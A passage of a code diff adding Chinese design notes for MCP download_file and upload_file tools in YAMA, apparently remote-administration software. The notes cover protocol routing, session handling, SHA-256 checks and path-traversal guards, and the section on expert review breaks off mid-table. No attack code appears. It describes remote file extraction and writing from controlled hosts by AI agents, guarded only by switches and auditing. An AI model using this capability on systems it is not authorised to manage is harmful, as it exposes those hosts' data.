+- ✅ **端口**：`McpPort` 可配置，未配置默认 `6544`（纯端口语义，不再兼任启用开关）。
+- ✅ **token**：优先顺序 env `YAMA_MCP_TOKEN` → `THIS_CFG.McpToken` → 皆空则随机生成（仅本次进程有效，打印到日志）。对话框内 token 必填、默认随机值（预填并随保存持久化到 `McpToken`）。
+- ✅ **绑定地址**：默认 `127.0.0.1`（仅本机）；可配置为 `0.0.0.0` 或内网 IP（如 `192.168.0.92`）以支持多人协作跨机调用。
+- ✅ **配置入口**：主对话框「扩展」菜单，位于「地理信息(&L)」子菜单下方新增「MCP设置」菜单项，打开独立配置对话框。
+- ✅ **生效方式**：MCP 启用/端口/绑定/token 的改动均需重启服务端生效，对话框保存后弹窗提醒「重启程序生效」。
+- ✅ **取数方案**：C（抽公共函数 `BuildHostJson`，MCP 与 WebService 平级复用）。
+- ✅ **返回字段**：全量，含实时信息（`rtt` / `activeWindow`），支持 AI 监督场景。
+- ✅ **序列化**：`structuredContent` + `outputSchema`，`content` 附带可读摘要。

docs/Mcp_FileTransfer_Design.md

@@ -0,0 +1,396 @@
+# YAMA MCP 文件传输功能设计（download_file / upload_file）
+
+> **状态**：设计定稿（经专家审查修订，结论见 §13）。`download_file`（P1）已实施并验收；`upload_file`（P2）已实施（详见 §7，评审修订见 §13.1）。`download_file` 采用 **V2 文件传输协议**（`CMD_DOWN_FILES_V2` + 流式子连接 + SHA-256 校验），`upload_file` 复用服务端既有 `FileBatchTransferWorkerV2`（主连接同步驱动）。两者共享同一套「文件会话」注册表。
+> **读者**：MCP 后续功能研发/评审人员。
+> **关联文档**：[Mcp_Phase2_Design.md](./Mcp_Phase2_Design.md)（双模式无头驱动机制）、[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)（V2 协议清单）、[Mcp_Design.md](./Mcp_Design.md)（Phase 1 协议/架构/配置）。
+
+---
+
+## 1. 背景与目标
+
+MCP 目前已暴露 `list_files`（只读列目录，`McpServer.cpp:1741`），但**没有文件传输工具**：把远程主机的文件/目录拉回主控本机（下载），或把本机文件推到远程（上传），只能通过 GUI 文件管理器手工操作。
+
+本技术书解决：
+
+1. **`download_file`**（本期 P1）——远程文件/目录 → 主控本机指定目录，复用 V2 推送协议，带 SHA-256 完整性校验、支持大文件。
+2. **`upload_file`**（后续 P2）——主控本机文件/目录 → 远程指定目录，复用服务端 V2 发送器。
+3. **一套共享的「流式文件会话」基础设施**——一次投入，下载/上传两处受益，镜像现有终端（`TermSession`）与远程控制（`ScreenCtrlSession`）会话模式。
+
+---
+
+## 2. 现状回顾
+
+| 能力 | 现有协议/命令 | 服务端现有实现 | 是否暴露给 MCP |
+|---|---|---|---|
+| 远程列目录 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`；`COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` | `McpServer.cpp:1741`（`list_files`） | ✅ |
+| 远程→本地下载（V1） | `COMMAND_DOWN_FILES`(`commands.h:166`) + `TOKEN_FILE_SIZE/DATA/FINISH` | `FileManagerDlg.cpp:2164` / `file/CFileManagerDlg.cpp:1136` | ❌ 仅 GUI |
+| 远程→本地下载（V2） | `CMD_DOWN_FILES_V2`(94, `commands.h:260`) + `COMMAND_SEND_FILE_V2`(85) + `COMMAND_FILE_COMPLETE_V2`(91) | `FileManagerDlg.cpp:3337-3384`（下发）、`2756`（`RecvFileChunkV2` 落盘） | ❌ 仅 GUI |
+| 本地→远程上传（V2） | `FileBatchTransferWorkerV2`（服务端作 sender） | `2015RemoteDlg.cpp:7572` | ❌ 仅 GUI |
+
+### 2.1 关键事实
+
+1. **V2 下载的客户端会另开一条新子连接**：`client/FileManager.cpp:1101-1190` `UploadToRemoteV2()` 解析完文件列表后，`new IOCPClient(...)` → `EnableSubConnAuth()` → `ConnectServer(...)`（`FileManager.cpp:1170-1172`），在**独立鉴权子连接**上推 `COMMAND_SEND_FILE_V2` 分块 + `COMMAND_FILE_COMPLETE_V2` 校验包。即下载 ≠ 复用文件管理器那条子链接，而是一条**持续流子链接**——正属 `Mcp_Phase2_Design.md §4.3` 当初判定「本期不做」的流式能力。
+
+2. **接收端 `RecvFileChunkV2` 无 UI 可调**：`CDlgFileSend.cpp:128` 已 `RecvFileChunkV2(buf, len, nullptr, nullptr, hash, hmac, 0)` 无头落盘；落盘状态在 `SimplePlugins/file_upload.cpp` 内部按 `transferID` 自维护，天然适合 MCP 无头复用。
+
+3. **V2 落盘路径由客户端回填**：`CMD_DOWN_FILES_V2` 的 `targetDir` 是**主控本机**保存目录（`FileManagerDlg.cpp:3370` `m_Local_Path`）；客户端把它拼进每个 chunk 的 `filename` 发回，服务端 `RecvFileChunkV2` 直接按该完整路径写盘。因此「下载保存到哪」由服务端在命令里指定、客户端原样回填。
+
+---
+
+## 3. 协议选型（已定：V2）
+
+| 维度 | **V2 推送（选定）** | V1 拉取（回退） |
+|---|---|---|
+| 命令 | `CMD_DOWN_FILES_V2` + `COMMAND_SEND_FILE_V2` + `COMMAND_FILE_COMPLETE_V2` | `COMMAND_DOWN_FILES` + `TOKEN_FILE_SIZE/DATA/FINISH` |
+| 连接 | 客户端新开一条鉴权流式子连接 | 复用文件管理器子链接 |
+| 完整性 | ✅ SHA-256（`COMMAND_FILE_COMPLETE_V2`） | ❌ 无 |
+| 大文件 | ✅ 64 位偏移，>4GB | 64 位偏移但无校验 |
+| 客户端代码 | ✅ 已存在，是当前 GUI 正规路径 | ⚠️ 遗留路径 |
+| MCP 侧复杂度 | 需路由一条**新流式子连接**（新增会话注册表） | 需在 `MessageHandle` 维护「发 CONTINUE/收 DATA」状态机，逐块 ACK 慢 |
+
+**结论：采用 V2。** 代价是服务端要新增「流式文件会话」注册与路由；但这是 `upload_file` 同样要复用的基础设施，一次投入两处受益。V1 仅作「不想引入新子连接路由」时的降级备案，不在本期实现。
+
+---
+
+## 4. 设计原则
+
+1. **复用现有协议，不新造命令**：`CMD_DOWN_FILES_V2`、`COMMAND_SEND_FILE_V2`、`COMMAND_FILE_COMPLETE_V2`、`COMMAND_LIST_DRIVE` 全部为 `common/commands.h` 既有；客户端零改动（upload 方向例外：`COMMAND_SEND_FILE_V2` 需懒初始化文件模块，见 §7.8）。
+2. **无头接管复用会话模式**：镜像 `McpServer.h` 的 `TermSession` / `ScreenCtrlSession`，新增 `FileTransferSession`；`MessageHandle` 用 `IsFileTransferContext(context*)` 判定是否路由到 MCP 无头落盘，否则回落 GUI 进度框。
+3. **单设备单传输会话**：与终端/远程控制一致，避免同 host 并发传输的归属歧义；并发返回 `-32003 Device busy`。
+4. **超时与清理是硬约束**：大文件传输是长任务，超时需独立于 `kMcpToolTimeoutMs`(20s)；断线/超时必须清会话 + 关子链接 + 删半成品文件。
+5. **输出 schema 先行**：两个工具先在 `tools/list` 声明完整 `inputSchema`/`outputSchema`。
+
+---
+
+## 5. 核心机制：流式文件会话
+
+### 5.1 会话注册表（`McpServer.h/.cpp`）
+
+```cpp
+struct FileTransferSession {
+    std::string  tool;           // "download_file" / "upload_file"
+    std::string  localDir;       // download: 本机落盘目录（规范化后绝对路径，用于穿越校验）
+    std::string  remotePath;     // 审计用原始远程路径（UTF-8）
+    uint64_t     transferID = 0; // 绑定后从首包填充（download）；upload 由本端 GenerateTransferID()
+    uint32_t     totalFiles = 0; // 完成判定：首个 COMMAND_SEND_FILE_V2 chunk 的 totalFiles（§13 F4）
+    uint32_t     filesDone  = 0; // 完成判定：累计收到的 COMMAND_FILE_COMPLETE_V2 数
+    bool         done     = false;
+    int          error    = 0;   // FEV2_* / 自定义
+    std::vector<FileEntry> files;   // {path, size} 已落盘/已发送文件
+    std::vector<FileEntry> skipped; // overwrite=false 时跳过的同名文件
+    time_t       startAt  = 0;
+};
+std::mutex                               m_FileXferMutex;
+std::map<uint64_t, FileTransferSession>  m_FileXferSessions;  // device_id → 会话
+```
+
+> **取消 `m_FileXferContextToDevice` 映射与 `IsFileTransferContext(context*)`**：流式子连接经 `TOKEN_CONN_AUTH` 已把 `clientID` 钉在 `ContextObject` 上（`2015RemoteDlg.cpp:6411 SetID`），分派时直接用 `ContextObject->GetClientID()` 定位 `device_id`，无需 context 路由表（§13 F1）。
+
+配套接口（与 `BeginTermPending` / `OnTerminalData` / `WaitTerminalDone` 同构）：
+
+```cpp
+bool  BeginFileTransferPending(uint64_t device_id, const std::string& tool,
+                               const std::string& localDir, const std::string& remotePath);
+bool  IsFileTransferPending(uint64_t device_id);                      // 分支顶部守卫
+void  OnFileChunkV2(uint64_t device_id, const BYTE* buf, ULONG len);   // 路径校验 + 无头 RecvFileChunkV2
+void  OnFileCompleteV2(uint64_t device_id, const BYTE* buf, ULONG len);// SHA-256 + filesDone 计数
+bool  WaitFileTransferDone(uint64_t device_id, int timeoutMs, std::vector<FileEntry>& out);
+void  ClearFileTransfer(uint64_t device_id);                          // 失败/超时/断线收尾（删半成品）
+```
+
+### 5.2 流式子连接的路由（device_id 键，镜像 `TOKEN_DRIVE_LIST` 守卫）
+
+V2 下载的数据包 `COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 本就由 `MessageHandle` 按 `ContextObject->GetClientID()` 分派（`2015RemoteDlg.cpp:5842` / `6101`）。MCP 只需在这两个 case 的 **`dstClientID==0`（M2C）分支顶部**加守卫：
+
+```cpp
+case COMMAND_SEND_FILE_V2: {
+    FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
+    if (pkt->dstClientID == 0) {
+        uint64_t devId = ContextObject->GetClientID();
+        if (McpServer().IsFileTransferPending(devId)) {   // ← 新增守卫：无头接管
+            McpServer().OnFileChunkV2(devId, szBuffer, len);
+            break;                                        // 不建 CDlgFileSend、不设 hDlg
+        }
+        // ... 原 GUI 逻辑（建 CDlgFileSend + OnReceiveComplete）不变
+    }
+    // ... C2C 分支（dstClientID != 0）完全不动
+}
+```
+
+- `TOKEN_CONN_AUTH`(`6378`) **完全不动**——它只负责把 `clientID` 钉在 ctx 上，下载复用既有行为。
+- `TOKEN_DRIVE_LIST`(`6430`) 既有 `IsPending(devId)` 守卫**扩展复用**：`OnDriveList` 识别当前挂起工具为 `download_file` 时，改发 `CMD_DOWN_FILES_V2` 而非 `COMMAND_LIST_FILES`，发完即 `CancelIO` 文件管理器子链接（数据走新流式子连接，§13 F3）。
+- 守卫为假时全部回落原 GUI/C2C 路径——对既有功能零影响（原则 #1，§13 F7）。
+
+---
+
+## 6. `download_file` 设计（P1）
+
+### 6.1 工具 Schema
+
+```
+input: {
+  id:          string  (必填, 主机 id)
+  remote_path: string  (必填, 远程文件或目录绝对路径, 如 C:\Users\shaun\Pictures)
+  local_dir:   string  (必填, 主控本机保存目录; 不存在会自动创建)
+  overwrite:   boolean (可选, 默认 false; true 覆盖同名文件, false 则跳过)
+  timeout_ms:  integer (可选, 默认 600000, 上限 3600000)
+}
+output: {
+  files:       [{ path: string, size: integer, sha256: string }]  // 实际落盘文件
+  total_bytes: integer
+  skipped:     integer
+}
+```
+
+### 6.2 时序
+
+```
+MCP工具线程                          服务端 MessageHandle                    客户端
+   │ 1. BeginFileTransferPending(id,"download_file",localDir,remotePath)       │
+   │ 2. 主连接发 COMMAND_LIST_DRIVE ────────────────────────────────────────► 开文件管理器子链接
+   │ 3.                              ◄── TOKEN_DRIVE_LIST ─────────────────────┤
+   │    OnDriveList → 锁外下发 CMD_DOWN_FILES_V2[targetDir\0][remote_path\0]\0 │
+   │ 4.                              ────────────────────────────────────────► UploadToRemoteV2()
+   │                                 (客户端另开一条鉴权流式子连接 ConnectServer)
+   │ 5. 新子连接 TOKEN_CONN_AUTH 钉 clientID → 后续分块按 device_id 守卫接管    │
+   │ 6.                              ◄── COMMAND_SEND_FILE_V2 分块流 ──────────┤
+   │                                 → OnFileChunkV2 → RecvFileChunkV2() 无头落盘
+   │ 7.                              ◄── COMMAND_FILE_COMPLETE_V2(SHA-256) ────┤
+   │ 8. 校验通过 → done → 唤醒工具线程 → CancelIO 两条子连接 → 返回             │
+```
+
+### 6.3 服务端改动
+
+1. **`McpServer.h`**：新增 `FileTransferSession` 结构 + 注册表 + 接口声明（§5.1）。
+2. **`McpServer.cpp`**：
+   - `BuildDownloadFileInputSchema/OutputSchema` + `BuildDownloadFile(...)`（`tools/call` 分派）；
+   - `OnFileChunkV2`：**先路径校验**（chunk `filename` 规范化后仍在 `local_dir` 内，防 `..` 穿越，§13 F5）→ 调 `RecvFileChunkV2(buf,len,nullptr,nullptr,hash,hmac,0)` 无头落盘，记 `totalFiles`/进度；
+   - `OnFileCompleteV2`：`HandleFileCompleteV2` 校验 SHA-256 → `filesDone++`；`filesDone==totalFiles` 时置 `done` + `notify`（§13 F4）；
+   - `hash/hmac` 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`，兼容客户端 M2C `hmac` 为空（`client/FileManager.cpp:1167`，§13 F6）；
+   - `ClearFileTransfer`（发送失败/超时/断线）：`CancelIO` 子链接 + 删除半成品。
+3. **`2015RemoteDlg.cpp`（`MessageHandle`）**：`COMMAND_SEND_FILE_V2`(85)、`COMMAND_FILE_COMPLETE_V2`(91) 的 `dstClientID==0` 分支顶部加 `IsFileTransferPending(devId)` 守卫；`TOKEN_DRIVE_LIST` 处扩展 `OnDriveList` 识别 `download_file` 改发 `CMD_DOWN_FILES_V2`。`TOKEN_CONN_AUTH` 与 C2C 分支**完全不动**。
+4. **`McpSettingsDlg.cpp/.h`**：新增 `McpFileTransfer` 配置项（默认 0）。
+
+### 6.4 落盘与路径安全
+
+- 发 `CMD_DOWN_FILES_V2` 前把 `local_dir` 规范化为绝对路径并 `CreateDirectory`；`targetDir` 用 ANSI（MBCS 构建本机路径）。
+- 每收到一个 chunk，校验其 `filename` 规范化后**前缀必须在 `local_dir` 内**（防 `..` 穿越，呼应 `FILE_TRANSFER_V2.md §8.3` 已识别的风险）；逃逸则置 `error` 并 `CancelIO`。
+- 编码：`remote_path` 走 UTF-8→ANSI(936)（Windows 客户端，复用 `McpServer.cpp` 既有 `ToAnsi`，与 `list_files` 一致）。
+
+### 6.5 超时与并发
+
+- **P1 范围：同步 + 单文件/已打包目录**。一次 `tools/call` 阻塞到底，不引入 job/task 异步模型（决策见 §12）。核心场景「先 `terminal_exec` 压缩成单 zip，再 `download_file` 拉回」天然是单文件，同步足够。
+- 默认 `timeout_ms=600000`、上限 3600000，因大文件远超 `kMcpToolTimeoutMs`(20s)。
+- **单飞互斥（§13 F2）**：`BeginFileTransferPending` 与既有一次性 `m_Pending` **双向互斥**——下载登记时占用 `m_Pending`，反之 `BeginPending` 也检查 `m_FileXferSessions`，保证同 host 任意时刻只一个 MCP 工具在飞；并发返回 `-32003 Device busy`。
+- 断线（`OfflineProc` 擦会话）+ 超时（删半成品）双收尾。
+
+---
+
+## 7. `upload_file` 设计（P2）
+
+### 7.1 工具 Schema
+
+```
+input: {
+  id:          string  (必填, 目标主机 id)
+  local_path:  string  (必填, 主控本机文件或目录绝对路径; 目录递归上传)
+  remote_dir:  string  (必填, 远程主机保存目录; 不存在会自动创建)
+  overwrite:   boolean (可选, 默认 false; true 覆盖同名文件, false 跳过)
+  timeout_ms:  integer (可选, 默认 600000, 上限 3600000)
+}
+output: {
+  files:       [{ path: string, size: integer, sha256: string }]  // 已发送文件（远程完整路径）；P2 sha256 恒为空串（见 §7.5）
+  total_bytes: integer
+  skipped:     integer
+}
+```
+
+### 7.2 方向与连接（与 download 的关键差异）
+
+| 维度 | download_file（P1） | upload_file（P2） |
+|---|---|---|
+| 数据方向 | 远程客户端 → 主控 | 主控 → 远程客户端 |
+| 发送方 | 客户端（`UploadToRemoteV2` → `FileBatchTransferWorkerV2`） | 主控（`FileBatchTransferWorkerV2`） |
+| 连接 | 客户端**新开一条鉴权流式子连接** | 复用**主连接**（`ctx->Send2Client`），无子连接 |
+| 完成信号 | 客户端发 `COMMAND_FILE_COMPLETE_V2`，服务端 `OnFileCompleteV2` 校验计数 | 服务端**作为发送方**自己发 `COMMAND_FILE_COMPLETE_V2`（SHA-256），客户端 `HandleFileCompleteV2` 校验 |
+| MessageHandle 改动 | 2 处守卫分支 + `OnDriveList` 扩展 | **零改动**（客户端 `KernelManager.cpp:1381` 接收，但需懒初始化文件模块，见 §7.8） |
+
+> **修正旧稿（§13.1 评审）**：旧稿写「只需等客户端回 `COMMAND_FILE_COMPLETE_V2`」是错的。V2 协议里 COMPLETE 包恒由**发送方**发、接收方校验，**无接收方→发送方 ACK**。upload 的服务端是发送方，故它**发** COMPLETE 而非「等」。这也意味着 upload 比 download 更简单——无需路由外来流式子连接、无需 `OnFileCompleteV2` 计数。
+
+### 7.3 时序
+
+```
+MCP工具线程                          主连接 (ctx→Send2Client)          客户端 KernelManager
+  1. 校验 McpFileTransfer=1 && McpReadonly=0（§8）
+  2. CollectLocalFiles({local_path}) 收集本机文件+目录项（目录项在前、子项随后）
+  3. (overwrite=false) list_files 预检 remote_dir 一层 → 得已存在顶层名 → skip 列表
+  4. BeginFileUpload(id) 登记会话（单设备单传输互斥标记，§6.5）
+  5. 同步驱动（工具线程内）：FileBatchTransferWorkerV2(files, remote_dir, cb, f, hash, hmac, opts)
+  6.                               ── COMMAND_SEND_FILE_V2 分块流 ───► RecvFileChunkV2 落盘
+  7.                               ── COMMAND_FILE_COMPLETE_V2(SHA256)► HandleFileCompleteV2 校验
+  8. worker 同步返回 → ClearFileTransfer → 返回 files/total_bytes/skipped
+```
+
+### 7.4 服务端改动
+
+1. **`McpServer.h`**：新增 `BeginFileUpload(id)`，登记 `FileTransferSession{tool="upload_file", startAt}` 作为**单设备单传输互斥标记**（与 `m_Pending`/`m_FileXferSessions` 互斥，见 §6.5）。upload 走主连接、工具线程**同步**驱动 `FileBatchTransferWorkerV2`，会话**无** `fmSubCtx`/`streamSubCtx`/`fileEntries`/`done` 等字段（`ClearFileTransfer` 对空指针安全）。
+2. **`McpServer.cpp`**：
+   - `BuildUploadFileInputSchema/OutputSchema` + `BuildUploadFile(...)`（`tools/call` 分派）；
+   - 无头回调 `UploadSendChunkHeadless(user, chunk, data, size)`：经 `UploadCallbackData{parent,clientID,deadline}` 里 `parent->FindHost(clientID)` 定位 ctx → `ctx->Send2Client(data,size)`；客户端离线或整体超时返回 false 中止（镜像 GUI `SendFileChunkToClientV2`，去掉 `dlg` 进度，见 `2015RemoteDlg.cpp:7424-7459`）；
+   - 收集：本地 `CollectLocalFiles` 递归（`common/file_upload.cpp:38` 的 `ExpandDirectories` 未在 `file_upload.h` 导出，故在 McpServer.cpp 本地同构实现，目录项在前、子项随后）；
+   - overwrite 预检：复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST→COMMAND_LIST_FILES→TOKEN_FILE_LIST` 机制列 `remote_dir` **一层**（顶层名，不递归），过滤同名 → `skipped`；
+   - 驱动：`FileBatchTransferWorkerV2(files, remote_dir, &cb, headlessCallback, nullptr, GetPwdHash(), GetHMAC(100), opts)`；`opts.transferID=GenerateTransferID()`、`srcClientID=0`、`dstClientID=clientID`、`enableResume=false`；
+   - 完成判定：`result==0 && FindHost(clientID)!=nullptr`（镜像 GUI `SendFilesToClientV2Internal` 末尾）。
+3. **`2015RemoteDlg.cpp`（MessageHandle）**：**零改动**。
+4. **`McpSettingsDlg.cpp/.h`**：零改动（`McpFileTransfer` 已存在，§8 复用）。
+
+### 7.5 完整性边界（诚实声明）
+
+- V2 无接收方→发送方 ACK：客户端 `HandleFileCompleteV2` 校验失败只打日志（`RecvFileChunkV2` 返回 8，`KernelManager.cpp:1381` 不回传主控）。
+- **P2 的 `output.files[].sha256` 恒为空串**：`FileBatchTransferWorkerV2` 内部会为每个文件自算 SHA-256 并写入 `COMMAND_FILE_COMPLETE_V2` 包发给客户端，但该值**不回传调用方**；服务端侧又无导出的 SHA-256 工具函数可自行复算。故 P2 输出不填 sha256（延后 P3：worker 回传哈希，或服务端引入 SHA-256 工具）。传输完整性仍依赖客户端本地 `HandleFileCompleteV2` 校验（与 GUI upload / C2C 同权，属 V2 协议既有边界，非 MCP 引入）。
+- 若未来需要「接收方验真回执」，需新增反向 ACK 包（协议扩展，进 P3）。
+
+### 7.6 overwrite 语义
+
+- `overwrite=false`（默认）：发送前用 `list_files` 预检 `remote_dir` **一层**（顶层名，不递归），本地顶层项名已存在者整体跳过（单文件精确、目录整体跳过），文件条目计入 `skipped`（目录项不计）。编码 UTF-8→ANSI(936)，与 `list_files`/`download_file` 一致。
+- `overwrite=true`：全量发送（客户端 `RecvFileChunkV2` 覆盖写）。
+- 代价：一次预检往返；对称于 download 的「本地同名跳过」语义。
+
+### 7.7 安全
+
+- 门槛 `McpFileTransfer=1 && McpReadonly=0`（§8）：upload 写远程盘，复用「允许写」主开关。
+- `remote_dir` 路径规范化（防 `..` 穿越到预期目录之外）。`local_path` 是主控本机路径（信任本地文件系统），主要风险是 AI 误推敏感文件/覆盖远程关键文件——由 `McpReadonly=0` + 审计兜底（与 `terminal_*`/`remote_*` 同款「开关+审计」，不加目录黑名单，见 §12.1）。
+
+### 7.8 客户端改动（实施期修正，评审见 §13.1 U7）
+
+`RecvFileChunkV2` 依赖全局 `g_status==1`（`SimplePlugins/file_upload.cpp:2812` `if (!g_status) return -1;`），但客户端**主连接此前从不初始化文件传输模块**——`InitFileUpload` 只在 `FileManager`/`ScreenManager` 构造里成对调用（下载/屏幕方向），上传走主连接时 `g_status==0`，每个 chunk 都被 `RecvFileChunkV2` 直接丢弃（表现为落盘 0 字节 / 截断）。
+
+修法：在 `client/KernelManager.cpp` 的 `COMMAND_SEND_FILE_V2` 分支加**懒初始化**（进程内仅一次）：
+
+```cpp
+static bool s_v2RecvInited = false;
+if (!s_v2RecvInited) {
+    InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
+    s_v2RecvInited = true;
+}
+int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, nullptr, m_hash, m_hmac, m_MyClientID);
+```
+
+要点（独立评审结论，均为安全）：
+
+- 与 `FileManager.cpp:40` 的 Init 参数**逐字节一致**（`{}`, `m_LoginMsg`, `m_LoginSignature`, 64, 50, `Logf`），不新增路径。
+- `static` 保证进程内只初始化一次，主连接重连（`ClientDll.cpp:660/665` 反复 `SAFE_DELETE`+`new CKernelManager`）不反复 Init/Uninit；`~CKernelManager` 保持原样**不** `UninitFileUpload`，故 `g_threadCount` 从 1 起永不归 0，`g_status` 恒为 1。
+- `InitFileUpload` 幂等（`g_fileStatesMtx` + `g_threadCount` 引用计数，二次调用 `g_threadCount>1` 早退）、非阻塞（仅置标志 + 派生 detach 线程）、license 校验在启动期 `licenseInit()` 后必过、`verifyMessage` 对空签名 `return false`（`license.cpp:244`）不会越界。
+- 影响面：主连接 `OnReceive` 无 V1 `COMMAND_SEND_FILE` 分支，`g_status=1` 只作用于 `RecvFileChunkV2`；`FileManager`/`ScreenManager` 的成对 Init/Uninit 只是在 1↔2 间震荡，语义不变。
+
+---
+
+## 8. 安全门
+
+| 工具 | 定性 | 门槛 |
+|---|---|---|
+| `download_file` | 不改远程状态，但**数据外带** | `McpFileTransfer=1`（仅此一开关；**不依赖** `McpReadonly`，与 `list_files`/`get_screenshot` 同权） |
+| `upload_file` | **写远程盘** | `McpFileTransfer=1` **且** `McpReadonly=0`（复用既有「允许写」主开关） |
+
+- **只新增一个开关 `McpFileTransfer`（默认 0）**：download 只看它；upload 额外要求 `McpReadonly=0`。决策依据见 §12。
+- `tools/list` 据此隐藏两个工具（与 `exec_command`/`terminal_*`/`remote_*` 同款开关判断）。
+- 审计：`host_id + tool + remote_path + local_dir + 结果`，写 `Mprintf` + 审计日志。
+
+---
+
+## 9. 改动文件清单
+
+| 文件 | 改动 |
+|---|---|
+| `server/2015Remote/McpServer.h` | `FileTransferSession` + 注册表 + 8 个接口声明 |
+| `server/2015Remote/McpServer.cpp` | `download_file` schema/实现 + 会话状态机 + 路由分支 |
+| `server/2015Remote/2015RemoteDlg.cpp` | `MessageHandle`：`COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 两处守卫分支 + `TOKEN_DRIVE_LIST` 处 `OnDriveList` 扩展；`TOKEN_CONN_AUTH` 不动 |
+| `server/2015Remote/McpSettingsDlg.cpp/.h` | `McpFileTransfer` 配置项 |
+| （P2）`server/2015Remote/McpServer.h` | `FileTransferSession.tool` 增 `"upload_file"`；新增 `BeginFileUpload(id)`（单设备单传输互斥标记） |
+| （P2）`server/2015Remote/McpServer.cpp` | `upload_file` schema/实现：无头回调 `UploadSendChunkHeadless` + `CollectLocalFiles` 收集 + overwrite 预检（复用 `list_files` 链路）+ 驱动 `FileBatchTransferWorkerV2`（复用主连接，无子连接路由） |
+| （P2）`client/KernelManager.cpp` | `COMMAND_SEND_FILE_V2` 分支加懒初始化 `InitFileUpload`（`g_status` 由 0 置 1，见 §7.8） |
+
+**客户端**：`UploadToRemoteV2` / `RecvFileChunkV2` / `FileBatchTransferWorkerV2` 均已存在、未改动；仅 `COMMAND_SEND_FILE_V2` 分支新增懒初始化（见 §7.8）。
+
+---
+
+## 10. 分阶段实施与回滚
+
+- **P1**：`download_file` + `McpFileTransfer` 开关 + 路由分支。可独立合入、独立验收（真实主机拖回一个目录，SHA-256 与 `certutil -hashfile` 比对一致）。
+- **P2**：`upload_file`（§7，主连接复用 + 发送方驱动，`MessageHandle` 零改动）。可独立合入、独立验收（推一个目录到真实主机，SHA-256 与源文件 `certutil -hashfile` 比对一致）。
+- **P3**（可选）：断点续传（需先验证服务端续传状态落盘；文件管理器侧现 `enableResume=false`，`client/FileManager.cpp:1164`）、大文件进度流式上报。
+- **回滚**：改动集中在 `McpServer.*` + `MessageHandle` 三个 `if` 分支，revert 当期 commit 即可，不影响既有 GUI 文件管理器。
+
+---
+
+## 11. 测试点
+
+- 单文件 / 目录（含中文名、深层嵌套）下载；SHA-256 与 `certutil -hashfile` 比对一致。
+- `overwrite=false` 同名跳过；`local_dir` 不存在自动创建。
+- 路径穿越：`remote_path` 含 `..` 或 chunk 文件名逃逸 `local_dir` 时被拒。
+- 大文件（>2GB）超时与断线；并发下载同主机返回 `-32003`。
+- 编码：GBK 中文文件名往返无乱码（与 `list_files` 同规则）。
+- 断线收尾：传输中客户端掉线 → 会话擦除 + 半成品删除，无句柄/内存泄漏。
+- **上传（P2）**：单文件 / 目录（含中文名、深层嵌套）上传；`remote_dir` 不存在自动创建；SHA-256 与源文件 `certutil -hashfile` 比对一致。
+- 上传 `overwrite=false` 同名跳过（`skipped` 计数）；`overwrite=true` 覆盖。
+- 上传 `remote_dir` 含 `..` 逃逸被拒；大文件（>2GB）超时与断线；并发上传/上传-下载同主机返回 `-32003`。
+- 上传编码：GBK 中文文件名往返无乱码。
+
+---
+
+## 12. 决策记录（以「简单易用」为原则）
+
+原则：最少开关、最少认知负担、复用既有机制、不为低频场景预留复杂度；只有威胁模型确实需要时才加复杂度。
+
+### 12.1 download 数据外带 → **不加目录白名单，信任 `McpFileTransfer` + 审计**
+
+- **威胁模型**：MCP 默认 `127.0.0.1` + token；「数据外带」的实际顾虑是 AI 误操作或提示注入。但一旦开启 `terminal_exec`（全 shell、无白名单），外带通道远大于 download，目录白名单对已开终端者是冗余防御。
+- **一致性**：`terminal_*` / `remote_*` 均只有开关 + 审计、无路径白名单；给 download 单独加白名单是特例，增加解释负担。
+- **简单**：工具契约保持 `id + remote_path + local_dir`，不引入「允许根目录」概念。
+- **逃生舱**：若未来确有需要，复用 `McpCmdWhitelist` 那种**单字符串**配置作可选收紧项，进 P3，不进 P1。
+
+### 12.2 大文件模型 → **P1 同步 + 大超时，收窄到单文件/已打包目录**
+
+- MCP 是 request/response；为一次性传输引入「提交任务 + 轮询进度 + 任务清理」违背「简单 + 每阶段独立可交付」。
+- 核心场景（先压缩成单 zip 再拉回）天然是单文件，同步足够；`get_screenshot` 已先例式地内联返回字节。
+- 异步任务模型进 P3，且**只在确有超大流式需求时**才做，不预建。
+
+### 12.3 upload 开关 → **单一 `McpFileTransfer`，upload 复用 `McpReadonly=0`**
+
+- `download_file` = `McpFileTransfer=1`（不依赖 `McpReadonly`）：它只读远程，与 `list_files`/`get_screenshot` 同权，readonly 语义本就只拦「改远程」。
+- `upload_file` = `McpFileTransfer=1 && McpReadonly=0`：upload 改远程，复用既有「允许写」主开关，与 `terminal_*`/`remote_*` 的 `X && !Readonly` 模式一致。
+- 只新增 **1 个**开关；代价是「不能只开 upload 不开 download」——这是可接受的简化（无人有此诉求）。
+
+---
+
+## 13. 专家审查记录（实施前）
+
+原则优先级：① 对既有功能影响最小 → ② 简单易用 → ③ 优先 V2。逐条核对了 `2015RemoteDlg.cpp` 的 `MessageHandle` 分派、`client/FileManager.cpp` 与 `SimplePlugins/file_upload.cpp` 的实现，结论如下：
+
+| # | 审查发现 | 结论 |
+|---|---|---|
+| F1 | 路由机制比草案更简单：`COMMAND_SEND_FILE_V2`(`5842`)/`COMMAND_FILE_COMPLETE_V2`(`6101`) 本就按 `ContextObject->GetClientID()` 分派，流式子连接经 `TOKEN_CONN_AUTH`(`6411 SetID`) 钉住 clientID | **无需 context 路由表**。改为 `device_id` 键 + 两个 case 顶部的 `IsFileTransferPending(devId)` 守卫，`TOKEN_CONN_AUTH` 完全不动 |
+| F2 | 一次性 `m_Pending` 与新增文件会话可能并发冲突（同 host 双工具） | `BeginFileTransferPending` 与 `m_Pending` **双向互斥**，同 host 全 MCP 工具单飞 |
+| F3 | 文件管理器子链接发完 `CMD_DOWN_FILES_V2` 后即无用（数据走新流式子连接） | `OnDriveList` 发完命令即 `CancelIO` 该子链接；客户端 `UploadToRemoteV2` 用独立 `IOCPClient`，不依赖它 |
